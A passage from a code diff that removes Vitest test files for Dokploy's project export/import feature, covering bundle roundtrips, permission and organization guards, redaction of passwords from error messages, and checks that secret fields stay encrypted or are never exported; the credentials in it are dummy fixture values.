findMany: async () => [],
findFirst: async () => undefined,
},
redis: {
findMany: async () => [],
findFirst: async () => undefined,
},
libsql: {
findMany: async () => [],
findFirst: async () => undefined,
},
ports: { findMany: async () => [] },
},
}) as any as TransferDb;
const baseScope: ExportScope = {
includeEnvSecrets: true,
shared: { registry: "value" },
files: {
applicationSources: false,
composeFiles: false,
traefikRaw: false,
customCertificates: false,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
};
let workDir: string;
let outDir: string;
let extractDir: string;
beforeEach(async () => {
workDir = await mkdtemp(join(tmpdir(), "transfer-roundtrip-work-"));
outDir = await mkdtemp(join(tmpdir(), "transfer-roundtrip-out-"));
extractDir = await mkdtemp(join(tmpdir(), "transfer-roundtrip-extract-"));
});
afterEach(async () => {
await rm(workDir, { recursive: true, force: true });
await rm(outDir, { recursive: true, force: true });
await rm(extractDir, { recursive: true, force: true });
});
describe("transfer roundtrip: capture -> serialize -> deserialize -> plan -> apply", () => {
it("re-creates the project with equivalent values, remapped ids/appNames/serverId, and no plaintext secrets anywhere along the way", async () => {
const db = readDb();
const captureResult = await capture(
db,
{ kind: "project", id: "project-1" },
baseScope,
{
detectRequirements: (tree, scope) =>
detectRequirements(db, tree, scope),
detectWarnings: (tree, scope) => detectWarnings(tree, scope),
},
);
const bundlePath = join(outDir, "bundle.dokploy.tar.gz");
await serialize(
{
resources: captureResult.resources,
inventory: captureResult.inventory,
requirements: captureResult.requirements,
warnings: captureResult.warnings,
dumps: [],
scope: baseScope,
organizationId: "org-src",
dokployVersion: "1.0.0-test",
exportedBy: { userId: "user-1", email: "a@b.com" },
},
captureResult.secretsPlain,
PASSPHRASE,
local(workDir),
local(bundlePath),
);
await inspectBundle(local(bundlePath), local(extractDir));
const unlocked = await unlockBundle(local(extractDir), PASSPHRASE);
const plan = await buildPlan(
db,
unlocked.snapshot,
"org-dest",
{ kind: "newProject", name: "imported-project" },
{
resolutions: {
"server:null": {
requirementKey: "server:null",
action: "reuse",
targetId: LOCAL_SERVER_CANDIDATE_ID,
},
},
},
);
expect(
plan.resolutions[
Object.keys(plan.resolutions).find((k) => k.startsWith("vault:"))!
]?.action,
).toBe("reuse");
expect(
plan.resolutions[
Object.keys(plan.resolutions).find((k) => k.startsWith("registry:"))!
]?.action,
).toBe("reuse");
expect(plan.pendingServices).toEqual([]);
const insertedByTable = new Map<unknown, Record<string, unknown>[]>();
let counter = 0;
const idFieldByTable = new Map<unknown, string>([
[projects, "projectId"],
[applications, "applicationId"],
[compose, "composeId"],
[domains, "domainId"],
[mounts, "mountId"],
[ports, "portId"],
[security, "securityId"],
[registry, "registryId"],
[schedules, "scheduleId"],
]);
const environmentsTable = (await import("@dokploy/server/db/schema"))
.environments;
idFieldByTable.set(environmentsTable, "environmentId");
const writeDb = {
query: {
vaultProvider: {
findFirst: async () => ({
vaultProviderId: "vault-dest-1",
name: "prod",
organizationId: "org-dest",
assignments: [],
}),
},
registry: {
findFirst: async () => ({
registryId: "registry-dest-1",
organizationId: "org-dest",
}),
},
github: { findFirst: async () => undefined },
gitlab: { findFirst: async () => undefined },
gitea: { findFirst: async () => undefined },
bitbucket: { findFirst: async () => undefined },
server: { findFirst: async () => undefined },
webServerSettings: { findFirst: async () => undefined },
mounts: { findMany: async () => [] },
},
insert: (table: unknown) => ({
values: (values: Record<string, unknown>) => {
const idField = idFieldByTable.get(table);
const row = { ...values };
if (idField) {
row[idField] =
(values[idField] as string | undefined) ??
`new-${idField}-${++counter}`;
}
const list = insertedByTable.get(table) ?? [];
list.push(row);
insertedByTable.set(table, list);
return { returning: async () => [row] };
},
}),
update: () => ({ set: () => ({ where: async () => {} }) }),
transaction: async (fn: (tx: unknown) => Promise<unknown>) => {
const tx = { ...writeDb };
return fn(tx);
},
} as any as TransferWriteDb;
const result = await apply(
writeDb,
unlocked.snapshot,
plan,
unlocked.secretsPlain,
"org-dest",
);
const projectRow = (insertedByTable.get(projects) ?? [])[0] as Record<
string,
unknown
>;
expect(projectRow.projectId).not.toBe("project-1");
// The shared fake db also reports "imported-project" as an existing project, so the name conflict is auto-renamed.
expect(projectRow.name).toBe("imported-project (imported)");
expect(result.idMap.project?.["project-1"]).toBe(projectRow.projectId);
const insertedApp = (insertedByTable.get(applications) ?? [])[0] as Record<
string,
unknown
>;
expect(insertedApp.applicationId).not.toBe("app-1");
expect(insertedApp.appName).not.toBe("my-app-abc123");
expect(insertedApp.env).toBe(
"DB_PASS=${{vault.prod.DB_PASS}}\nAPI_TOKEN=abc123token",
);
expect(insertedApp.registryId).toBe("registry-src-1");
expect(insertedByTable.get(registry) ?? []).toHaveLength(0);
const insertedCompose = (insertedByTable.get(compose) ?? [])[0] as Record<
string,
unknown
>;
expect(insertedCompose.composeId).not.toBe("compose-1");
expect(insertedCompose.appName).not.toBe("my-compose-def456");
expect(insertedCompose.composeFile).toBe(composeService.composeFile);
const insertedSchedule = (insertedByTable.get(schedules) ?? [])[0] as
| Record<string, unknown>
| undefined;
expect(insertedSchedule?.composeId).toBe(insertedCompose.composeId);
expect(insertedSchedule?.organizationId).toBe("org-dest");
const insertedDomain = (insertedByTable.get(domains) ?? [])[0] as Record<
string,
unknown
>;
expect(insertedDomain.host).toBe("app-1.example.com");
expect(insertedDomain.applicationId).toBe(insertedApp.applicationId);
const insertedMount = (insertedByTable.get(mounts) ?? [])[0] as Record<
string,
unknown
>;
expect(insertedMount.content).toBe("server { listen 80; }");
const insertedSecurity = (insertedByTable.get(security) ?? [])[0] as Record<
string,
unknown
>;
expect(insertedSecurity.password).toBe("basicauthpass");
const insertedPort = (insertedByTable.get(ports) ?? [])[0] as Record<
string,
unknown
>;
expect(insertedPort.publishedPort).toBe(8080);
const serializedInserts = JSON.stringify([...insertedByTable.values()]);
expect(serializedInserts).not.toContain("$secret:");
expect(serializedInserts).not.toContain("webhook-token");
}, 30_000);
});
@@ -1,577 +0,0 @@
import { describe, expect, it, vi } from "vitest";
const local = (path: string) => ({ serverId: null, path });
vi.mock("@/server/utils/billing", () => ({
getCurrentPlan: vi.fn(async () => null),
}));
vi.mock(
"@dokploy/server/services/project-export-import",
async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/services/project-export-import")
>();
return {
...actual,
assertTransferPermission: vi.fn(async () => ({ role: "owner" })),
validatePlan: vi.fn(async () => []),
inspectBundle: vi.fn(async () => {
throw new Error("inspectBundle not stubbed for this test");
}),
};
},
);
const {
createImportJob,
getImportJob,
createExportJob,
exportScopeSchema,
assertTransferPermission,
validatePlan,
updateImportJob,
inspectBundle,
UnsupportedBundleVersionError,
} = await import("@dokploy/server/services/project-export-import");
const { projectExportImportRouter } = await import(
"../../server/api/routers/project-export-import"
);
const ctxFor = (organizationId: string, userId = "user-1") =>
({
session: { activeOrganizationId: organizationId },
user: { id: userId, email: "a@b.com" },
}) as any;
describe("projectExportImportRouter.importStart", () => {
it("rejects with BAD_REQUEST when importPlan hasn't run yet, after checking permission", async () => {
const importId = "import-router-1";
createImportJob(importId, "user-1", "org-1");
const callCountBefore = (assertTransferPermission as any).mock.calls.length;
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
await expect(caller.importStart({ importId })).rejects.toMatchObject({
code: "BAD_REQUEST",
});
expect((assertTransferPermission as any).mock.calls.length).toBeGreaterThan(
callCountBefore,
);
});
it("returns NOT_FOUND for a job belonging to another organization", async () => {
const importId = "import-router-3";
createImportJob(importId, "user-1", "org-2");
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
await expect(caller.importStart({ importId })).rejects.toMatchObject({
code: "NOT_FOUND",
});
});
it("calls validatePlan and rejects with BAD_REQUEST when a check fails", async () => {
const userId = "user-validate-a";
const importId = "import-router-validate-1";
createImportJob(importId, userId, "org-1");
updateImportJob(importId, {
status: "planned",
snapshot: { resources: { services: [] } } as any,
plan: {
serverMap: {},
target: { kind: "newProject", name: "imported" },
} as any,
});
(validatePlan as any).mockResolvedValueOnce([
{ check: "appName:taken-name", ok: false, detail: "Already in use" },
]);
const caller = projectExportImportRouter.createCaller(
ctxFor("org-1", userId),
);
await expect(caller.importStart({ importId })).rejects.toMatchObject({
code: "BAD_REQUEST",
});
expect(validatePlan).toHaveBeenCalled();
});
it("proceeds past validation when every check passes", async () => {
const userId = "user-validate-b";
const importId = "import-router-validate-2";
createImportJob(importId, userId, "org-1");
updateImportJob(importId, {
status: "planned",
snapshot: { resources: { services: [] } } as any,
plan: {
serverMap: {},
target: { kind: "newProject", name: "imported" },
} as any,
});
(validatePlan as any).mockResolvedValueOnce([
{ check: "appName:free-name", ok: true },
]);
const caller = projectExportImportRouter.createCaller(
ctxFor("org-1", userId),
);
const result = await caller.importStart({ importId });
expect(result).toEqual({ success: true });
});
it("rejects with CONFLICT when the user already has a different transfer active", async () => {
const userId = "user-validate-c";
const busyImportId = "import-router-busy-1";
createImportJob(busyImportId, userId, "org-1");
const importId = "import-router-validate-3";
createImportJob(importId, userId, "org-1");
updateImportJob(importId, {
status: "planned",
snapshot: { resources: { services: [] } } as any,
plan: {
serverMap: {},
target: { kind: "newProject", name: "imported" },
} as any,
});
(validatePlan as any).mockResolvedValueOnce([
{ check: "appName:free-name", ok: true },
]);
const caller = projectExportImportRouter.createCaller(
ctxFor("org-1", userId),
);
await expect(caller.importStart({ importId })).rejects.toMatchObject({
code: "CONFLICT",
});
});
it("does not treat the job's own already-active status as a conflict with itself", async () => {
const userId = "user-validate-d";
const importId = "import-router-validate-4";
createImportJob(importId, userId, "org-1");
updateImportJob(importId, {
status: "planned",
snapshot: { resources: { services: [] } } as any,
plan: {
serverMap: {},
target: { kind: "newProject", name: "imported" },
} as any,
});
(validatePlan as any).mockResolvedValueOnce([
{ check: "appName:free-name", ok: true },
]);
const caller = projectExportImportRouter.createCaller(
ctxFor("org-1", userId),
);
const result = await caller.importStart({ importId });
expect(result).toEqual({ success: true });
});
it("re-checks target.projectId's org via assertTransferPermission for an existingProject target", async () => {
const userId = "user-validate-e";
const importId = "import-router-validate-5";
createImportJob(importId, userId, "org-1");
updateImportJob(importId, {
status: "planned",
snapshot: { resources: { services: [] } } as any,
plan: {
serverMap: {},
target: {
kind: "existingProject",
projectId: "project-other-org",
environmentName: "imported",
},
} as any,
});
(validatePlan as any).mockResolvedValueOnce([
{ check: "appName:free-name", ok: true },
]);
const caller = projectExportImportRouter.createCaller(
ctxFor("org-1", userId),
);
await caller.importStart({ importId }).catch(() => {});
const lastCall = (assertTransferPermission as any).mock.calls.at(-1);
expect(lastCall[1]).toBe("project-other-org");
});
});
describe("projectExportImportRouter.importInspect (T-6.20)", () => {
it("maps UnsupportedBundleVersionError to BAD_REQUEST with its guidance message", async () => {
const importId = "import-router-inspect-1";
createImportJob(importId, "user-1", "org-1");
updateImportJob(importId, {
root: local("/tmp/does-not-matter"),
bundle: local("/tmp/does-not-matter.tar.gz"),
});
(inspectBundle as any).mockRejectedValueOnce(
new UnsupportedBundleVersionError(2, 1),
);
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
await expect(caller.importInspect({ importId })).rejects.toMatchObject({
code: "BAD_REQUEST",
message: expect.stringContaining("newer version of Dokploy"),
});
});
});
describe("projectExportImportRouter guards", () => {
it("refuses to start an import that is not in the planned state", async () => {
const importId = "import-router-not-planned";
createImportJob(importId, "user-not-planned", "org-1");
updateImportJob(importId, {
status: "applying",
snapshot: { resources: { services: [] } } as any,
plan: { target: { kind: "newProject", name: "x" } } as any,
});
const caller = projectExportImportRouter.createCaller(
ctxFor("org-1", "user-not-planned"),
);
await expect(caller.importStart({ importId })).rejects.toMatchObject({
code: "CONFLICT",
});
});
it("only lets the user who started the import reveal its secrets", async () => {
const importId = "import-router-other-user";
createImportJob(importId, "user-a", "org-1");
updateImportJob(importId, {
status: "unlocked",
snapshot: { resources: { services: [], shared: {} } } as any,
secretsPlain: new Map([["s", "v"]]),
});
const caller = projectExportImportRouter.createCaller(
ctxFor("org-1", "user-b"),
);
await expect(
caller.importSecretReveal({ importId, secretId: "s" }),
).rejects.toMatchObject({ code: "FORBIDDEN" });
});
it("restores the original secret when an override is dropped from a later call", async () => {
const importId = "import-router-override-reset";
createImportJob(importId, "user-1", "org-1");
updateImportJob(importId, {
status: "unlocked",
snapshot: {
resources: {
services: [],
shared: {
registry: [{ registryName: "ghcr", password: "$secret:reg-1" }],
},
},
} as any,
secretsPlain: new Map([["reg-1", "original"]]),
});
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
await caller.importSecretsOverride({
importId,
overrides: { "reg-1": "replaced" },
});
expect(getImportJob(importId)?.secretsPlain?.get("reg-1")).toBe("replaced");
await caller.importSecretsOverride({ importId, overrides: {} });
expect(getImportJob(importId)?.secretsPlain?.get("reg-1")).toBe("original");
});
it("only deletes objects that look like export bundles", async () => {
const caller = projectExportImportRouter.createCaller(
ctxFor("org-1", "user-delete-bundle"),
);
await expect(
caller.deleteRemoteBundle({
destinationId: "dest-1",
key: "backups/production.sql.gz",
}),
).rejects.toMatchObject({ code: "BAD_REQUEST" });
});
it("reports unknown or foreign export ids as errors in exportBatchStatus", async () => {
createExportJob("batch-other-org", "user-1", "org-2");
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
await expect(
caller.exportBatchStatus({ exportIds: ["nope", "batch-other-org"] }),
).resolves.toEqual([
{ exportId: "nope", status: "error", error: "Export not found" },
{
exportId: "batch-other-org",
status: "error",
error: "Export not found",
},
]);
});
it("parses the full organization scope and a bare preview scope with defaults", async () => {
const full = exportScopeSchema.parse({ dumps: { mode: "embed" } });
expect(full).toEqual({
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "embed" },
includeBackupSchedules: true,
});
expect(exportScopeSchema.parse({}).dumps.mode).toBe("none");
});
it("rejects an organization export to a destination the organization does not own", async () => {
const caller = projectExportImportRouter.createCaller(
ctxFor("org-1", "user-org-export"),
);
await expect(
caller.exportOrganizationStart({
destinationId: "dest-of-org-2",
passphrase: "a-long-enough-passphrase",
projectIds: ["project-1"],
}),
).rejects.toMatchObject({ code: "NOT_FOUND" });
});
it("rejects exportStart with a destination the organization does not own", async () => {
const caller = projectExportImportRouter.createCaller(
ctxFor("org-1", "user-export-dest"),
);
await expect(
caller.exportStart({
projectId: "project-1",
scope: {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
},
passphrase: "a-long-enough-passphrase",
deliver: { kind: "destination", destinationId: "dest-of-org-2" },
}),
).rejects.toMatchObject({ code: "NOT_FOUND" });
});
});
describe("projectExportImportRouter.importValidate", () => {
it("rejects with BAD_REQUEST before importPlan ran", async () => {
const importId = "import-router-validate-early";
createImportJob(importId, "user-validate-early", "org-1");
const caller = projectExportImportRouter.createCaller(
ctxFor("org-1", "user-validate-early"),
);
await expect(caller.importValidate({ importId })).rejects.toMatchObject({
code: "BAD_REQUEST",
});
});
it("stores the checks on the plan and returns them", async () => {
const importId = "import-router-validate-store";
createImportJob(importId, "user-validate-store", "org-1");
updateImportJob(importId, {
status: "planned",
snapshot: { resources: { services: [] } } as any,
plan: {
target: { kind: "newProject", name: "x" },
validation: [],
} as any,
});
(validatePlan as any).mockReset();
(validatePlan as any).mockResolvedValue([
{ check: "server:local", ok: false, detail: "unreachable" },
]);
const caller = projectExportImportRouter.createCaller(
ctxFor("org-1", "user-validate-store"),
);
const result = await caller.importValidate({ importId });
(validatePlan as any).mockReset();
(validatePlan as any).mockResolvedValue([]);
expect(result.checks).toEqual([
{ check: "server:local", ok: false, detail: "unreachable" },
]);
const status = await caller.importStatus({ importId });
expect(status.plan?.validation).toEqual(result.checks);
});
});
describe("projectExportImportRouter.importUnlock (T-9.6)", () => {
it("rejects a passphrase under 12 characters at the input-validation layer", async () => {
const importId = "import-router-unlock-1";
createImportJob(importId, "user-1", "org-1");
updateImportJob(importId, { workDir: local("/tmp/does-not-matter") });
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
await expect(
caller.importUnlock({ importId, passphrase: "short" }),
).rejects.toMatchObject({ code: "BAD_REQUEST" });
});
});
describe("projectExportImportRouter.importPlan", () => {
it("rejects with BAD_REQUEST when importUnlock hasn't run yet", async () => {
const importId = "import-router-4";
createImportJob(importId, "user-1", "org-1");
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
await expect(
caller.importPlan({
importId,
target: { kind: "newProject", name: "imported" },
choices: {},
}),
).rejects.toMatchObject({ code: "BAD_REQUEST" });
});
it("passes target.projectId to assertTransferPermission for an existingProject target", async () => {
const importId = "import-router-5";
createImportJob(importId, "user-1", "org-1");
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
await caller
.importPlan({
importId,
target: {
kind: "existingProject",
projectId: "project-other-org",
environmentName: "imported",
},
choices: {},
})
.catch(() => {});
const lastCall = (assertTransferPermission as any).mock.calls.at(-1);
expect(lastCall[1]).toBe("project-other-org");
});
it("passes undefined projectId to assertTransferPermission for a newProject target", async () => {
const importId = "import-router-6";
createImportJob(importId, "user-1", "org-1");
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
await caller
.importPlan({
importId,
target: { kind: "newProject", name: "imported" },
choices: {},
})
.catch(() => {});
const lastCall = (assertTransferPermission as any).mock.calls.at(-1);
expect(lastCall[1]).toBeUndefined();
});
it("blocks importing a multi-environment bundle into an existing project that can't fit all of them (T-6.16)", async () => {
const { getCurrentPlan } = await import("@/server/utils/billing");
(getCurrentPlan as any).mockResolvedValueOnce("hobby");
const importId = "import-router-env-limit-1";
createImportJob(importId, "user-1", "org-1");
updateImportJob(importId, {
snapshot: {
resources: { environments: [{}, {}, {}], services: [] },
} as any,
});
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
await expect(
caller.importPlan({
importId,
target: {
kind: "existingProject",
projectId: "project-1",
environmentName: "imported",
},
choices: {},
}),
).rejects.toMatchObject({ code: "FORBIDDEN" });
});
});
describe("projectExportImportRouter.importCancel", () => {
it("returns NOT_FOUND for an unknown importId", async () => {
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
await expect(
caller.importCancel({ importId: "does-not-exist" }),
).rejects.toMatchObject({ code: "NOT_FOUND" });
});
it("maps a still-running import to CONFLICT", async () => {
const importId = "import-cancel-router-1";
createImportJob(importId, "user-1", "org-1");
updateImportJob(importId, { status: "restoring" });
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
await expect(caller.importCancel({ importId })).rejects.toMatchObject({
code: "CONFLICT",
});
});
});
describe("projectExportImportRouter.exportCancel (T-6.7)", () => {
it("maps a still-running export to CONFLICT", async () => {
const exportId = "export-cancel-router-1";
const job = createExportJob(exportId, "user-1", "org-1");
job.status = "dumping";
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
await expect(caller.exportCancel({ exportId })).rejects.toMatchObject({
code: "CONFLICT",
});
});
});
describe("projectExportImportRouter *Status permission gating (T-5.2)", () => {
it("exportStatus and importStatus both reject a non-owner/admin with FORBIDDEN", async () => {
const exportId = "export-status-forbidden-1";
createExportJob(exportId, "user-1", "org-1");
const importId = "import-status-forbidden-1";
createImportJob(importId, "user-1", "org-1");
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
const { TRPCError } = await import("@trpc/server");
const forbidden = () =>
new TRPCError({
code: "FORBIDDEN",
message: "Only organization owners and admins can do that",
});
(assertTransferPermission as any).mockRejectedValueOnce(forbidden());
await expect(caller.exportStatus({ exportId })).rejects.toMatchObject({
code: "FORBIDDEN",
});
(assertTransferPermission as any).mockRejectedValueOnce(forbidden());
await expect(caller.importStatus({ importId })).rejects.toMatchObject({
code: "FORBIDDEN",
});
});
it("exportStatus still returns downloadToken to an authorized caller (the UI needs it to build the download link)", async () => {
const exportId = "export-status-token-1";
createExportJob(exportId, "user-1", "org-1");
const { updateExportJob } = await import(
"@dokploy/server/services/project-export-import"
);
updateExportJob(exportId, {
status: "done",
downloadToken: "tok-abc123",
});
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
const result = await caller.exportStatus({ exportId });
expect((result as any).downloadToken).toBe("tok-abc123");
});
});
@@ -1,41 +0,0 @@
import { safeErrorMessage } from "@dokploy/server/services/project-export-import";
import { ExecError } from "@dokploy/server/utils/process/execAsync";
import { describe, expect, it } from "vitest";
describe("safeErrorMessage (T-4.2)", () => {
it("never includes the command (which may embed a plaintext password) for an ExecError", () => {
const error = new ExecError(
"Command execution failed: Command failed: PGPASSWORD=realpassword123 pg_dump -U dokploy mydb",
{
command: "PGPASSWORD=realpassword123 pg_dump -U dokploy mydb",
stderr:
"pg_dump: error: connection failed: FATAL: password authentication failed",
exitCode: 1,
},
);
const message = safeErrorMessage(error);
expect(message).not.toContain("realpassword123");
expect(message).not.toContain("PGPASSWORD");
expect(message).toContain("exit code 1");
expect(message).toContain("password authentication failed");
});
it("falls back to a generic message when an ExecError has no stderr", () => {
const error = new ExecError("Command execution failed", {
command: "PGPASSWORD=secret pg_dump",
});
const message = safeErrorMessage(error);
expect(message).not.toContain("secret");
expect(message).toBe("Command failed");
});
it("passes a plain Error's message through unchanged", () => {
expect(safeErrorMessage(new Error("Service not found"))).toBe(
"Service not found",
);
});
it("stringifies a non-Error thrown value", () => {
expect(safeErrorMessage("boom")).toBe("boom");
});
});
@@ -1,189 +0,0 @@
import {
applications,
backups,
certificates,
compose,
destinations,
dnsProvider,
environments,
libsql,
mariadb,
mongo,
mounts,
mysql,
network,
postgres,
projects,
redis,
registry,
security,
sshKeys,
vaultProvider,
} from "@dokploy/server/db/schema";
import type { ResourceKind } from "@dokploy/server/services/project-export-import";
import {
NEVER_EXPORT_FIELDS,
restoreSecretFields,
SECRET_FIELDS,
stripNeverExport,
} from "@dokploy/server/services/project-export-import";
import { getTableColumns } from "drizzle-orm";
import { describe, expect, it } from "vitest";
const TABLES_WITH_KIND: { table: object; kind: ResourceKind }[] = [
{ table: applications, kind: "application" },
{ table: compose, kind: "compose" },
{ table: environments, kind: "environment" },
{ table: libsql, kind: "libsql" },
{ table: mariadb, kind: "mariadb" },
{ table: mongo, kind: "mongo" },
{ table: mysql, kind: "mysql" },
{ table: postgres, kind: "postgres" },
{ table: projects, kind: "project" },
{ table: redis, kind: "redis" },
];
const ALL_RESOURCE_TABLES: { table: object; kind: ResourceKind }[] = [
...TABLES_WITH_KIND,
{ table: mounts, kind: "mount" },
{ table: security, kind: "security" },
{ table: destinations, kind: "destination" },
{ table: registry, kind: "registry" },
{ table: sshKeys, kind: "sshKey" },
{ table: certificates, kind: "certificate" },
{ table: vaultProvider, kind: "vaultProvider" },
{ table: dnsProvider, kind: "dnsProvider" },
{ table: backups, kind: "backup" },
{ table: network, kind: "network" },
];
const SENSITIVE_NAME = /password|secret|token|privatekey|accesskey|apikey/i;
describe("every sensitive-looking column is covered by SECRET_FIELDS or NEVER_EXPORT_FIELDS", () => {
for (const { table, kind } of ALL_RESOURCE_TABLES) {
it(`covers sensitive-named columns of "${kind}"`, () => {
const columns = getTableColumns(table as any);
const sensitiveFieldNames = Object.keys(columns).filter((name) =>
SENSITIVE_NAME.test(name),
);
const coveredBySecretFields = new Set(
(SECRET_FIELDS[kind] ?? []).map((entry) => entry.field),
);
const coveredByNeverExport = new Set(NEVER_EXPORT_FIELDS[kind] ?? []);
for (const fieldName of sensitiveFieldNames) {
const covered =
coveredBySecretFields.has(fieldName) ||
coveredByNeverExport.has(fieldName);
expect(covered, `${kind}.${fieldName} is not covered`).toBe(true);
}
});
}
});
describe("SECRET_FIELDS covers every encryptedText column", () => {
for (const { table, kind } of TABLES_WITH_KIND) {
it(`covers encrypted columns of "${kind}"`, () => {
const columns = getTableColumns(table as any);
const encryptedFieldNames = Object.entries(columns)
.filter(
([, col]) =>
(col as { columnType: string }).columnType === "PgCustomColumn",
)
.map(([name]) => name);
expect(encryptedFieldNames.length).toBeGreaterThan(0);
const covered = new Set(
(SECRET_FIELDS[kind] ?? []).map((entry) => entry.field),
);
for (const fieldName of encryptedFieldNames) {
expect(covered.has(fieldName)).toBe(true);
}
});
}
});
describe("stripNeverExport", () => {
it("removes NEVER_EXPORT_FIELDS for the given kind", () => {
const row = {
applicationId: "a1",
serverId: "s1",
buildServerId: "s2",
refreshToken: "tok",
githubId: "gh1",
createdAt: "2024-01-01",
name: "app",
};
const stripped = stripNeverExport("application", row);
expect(stripped).not.toHaveProperty("serverId");
expect(stripped).not.toHaveProperty("buildServerId");
expect(stripped).not.toHaveProperty("refreshToken");
expect(stripped).not.toHaveProperty("githubId");
expect(stripped).not.toHaveProperty("createdAt");
expect(stripped.applicationId).toBe("a1");
expect(stripped.name).toBe("app");
});
it("does not mutate the original row", () => {
const row = { serverId: "s1", name: "app" };
stripNeverExport("postgres", row);
expect(row).toHaveProperty("serverId");
});
it("is a no-op for a kind with no NEVER_EXPORT_FIELDS entry", () => {
const row = { name: "unmapped" };
// @ts-expect-error deliberately invalid kind, to check the fallback path
const stripped = stripNeverExport("notAKind", row);
expect(stripped).toEqual(row);
});
it("every ResourceKind used in NEVER_EXPORT_FIELDS strips createdAt", () => {
for (const kind of Object.keys(NEVER_EXPORT_FIELDS) as ResourceKind[]) {
const stripped = stripNeverExport(kind, { createdAt: "x", id: "1" });
expect(stripped).not.toHaveProperty("createdAt");
}
});
});
const SAFE_JSONB_COLUMNS = new Set(["compose.serviceNetworks", "network.ipam"]);
describe("every jsonb column is covered or explicitly allowlisted as safe", () => {
for (const { table, kind } of ALL_RESOURCE_TABLES) {
it(`checks jsonb columns of "${kind}"`, () => {
const columns = getTableColumns(table as any);
const jsonbFieldNames = Object.entries(columns)
.filter(
([, col]) => (col as { columnType: string }).columnType === "PgJsonb",
)
.map(([name]) => name);
const coveredBySecretFields = new Set(
(SECRET_FIELDS[kind] ?? []).map((entry) => entry.field),
);
const coveredByNeverExport = new Set(NEVER_EXPORT_FIELDS[kind] ?? []);
for (const fieldName of jsonbFieldNames) {
const covered =
coveredBySecretFields.has(fieldName) ||
coveredByNeverExport.has(fieldName) ||
SAFE_JSONB_COLUMNS.has(`${kind}.${fieldName}`);
expect(
covered,
`${kind}.${fieldName} is not covered or allowlisted`,
).toBe(true);
}
});
}
});
describe("restoreSecretFields / CRLF env files (T-11.5)", () => {
it("resolves a $secret: reference even when the env file uses CRLF line endings", () => {
const secretsPlain = new Map([["secret-uuid-1", "realpassword"]]);
const row = {
env: "DB_PASS=$secret:secret-uuid-1\r\nOTHER=plain\r\n",
};
const result = restoreSecretFields("application", row, secretsPlain);
expect(result.env).toBe("DB_PASS=realpassword\nOTHER=plain\n");
});
});
@@ -1,53 +0,0 @@
import type { Snapshot } from "@dokploy/server/services/project-export-import";
import { listReviewableSecrets } from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
const snapshot = {
resources: {
project: {},
environments: [],
services: [
{
kind: "application",
applicationId: "app-1",
name: "web",
security: [
{ username: "admin", password: "$secret:sec-1" },
{ username: "plain", password: "not-a-ref" },
],
},
{ kind: "postgres", postgresId: "pg-1", databasePassword: "$secret:pg" },
],
shared: {
registry: [{ registryName: "ghcr", password: "$secret:reg-1" }],
destination: [
{
name: "backups",
accessKey: "$secret:ak-1",
secretAccessKey: "$secret:sk-1",
},
],
sshKey: [{ name: "deploy", privateKey: "$secret:ssh-1" }],
certificate: [{ name: "wildcard", privateKey: "$secret:cert-1" }],
},
},
} as unknown as Snapshot;
describe("listReviewableSecrets", () => {
it("lists external credentials by secret ref, skipping database passwords and non-refs", () => {
const entries = listReviewableSecrets(snapshot);
expect(
entries.map((e) => [e.kind, e.resource, e.field, e.secretId]),
).toEqual([
["basicAuth", "web · admin", "password", "sec-1"],
["registry", "ghcr", "password", "reg-1"],
["destination", "backups", "accessKey", "ak-1"],
["destination", "backups", "secretAccessKey", "sk-1"],
["sshKey", "deploy", "privateKey", "ssh-1"],
["certificate", "wildcard", "privateKey", "cert-1"],
]);
expect(entries.filter((e) => e.generatable).map((e) => e.kind)).toEqual([
"basicAuth",
]);
});
});
@@ -1,187 +0,0 @@
import { createReadStream, createWriteStream, existsSync } from "node:fs";
import {
mkdir,
mkdtemp,
readdir,
readFile,
rm,
writeFile,
} from "node:fs/promises";
import { tmpdir } from "node:os";
import { join } from "node:path";
import { pipeline } from "node:stream/promises";
import type { SerializeInput } from "@dokploy/server/services/project-export-import";
import {
deriveKeys,
gcmDecryptStream,
serialize,
} from "@dokploy/server/services/project-export-import";
import { execAsync } from "@dokploy/server/utils/process/execAsync";
import { afterEach, beforeEach, describe, expect, it } from "vitest";
const local = (path: string) => ({ serverId: null, path });
const PASSPHRASE = "correct-horse-battery-staple";
let workDir: string;
let outDir: string;
beforeEach(async () => {
workDir = await mkdtemp(join(tmpdir(), "transfer-serialize-work-"));
outDir = await mkdtemp(join(tmpdir(), "transfer-serialize-out-"));
});
afterEach(async () => {
await rm(workDir, { recursive: true, force: true });
await rm(outDir, { recursive: true, force: true });
});
const baseInput: SerializeInput = {
resources: {
project: { projectId: "project-1", name: "my-project" },
environments: [{ environmentId: "env-1", name: "production" }],
services: [
{
kind: "postgres",
postgresId: "pg-1",
name: "pg-1",
databasePassword: "$secret:11111111-1111-1111-1111-111111111111",
},
],
shared: {},
},
inventory: {
project: { name: "my-project", environments: 1 },
environments: [
{ id: "env-1", name: "production", services: { postgres: 1 } },
],
totals: { postgres: 1 },
estimatedDumpBytes: 0,
estimatedFilesBytes: 0,
images: [],
},
requirements: [],
warnings: [],
dumps: [
{
serviceId: "pg-1",
serviceType: "postgres",
mode: "embed",
ext: "sql.gz",
path: "dumps/pg-1.sql.gz",
bytes: 15,
},
],
scope: {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
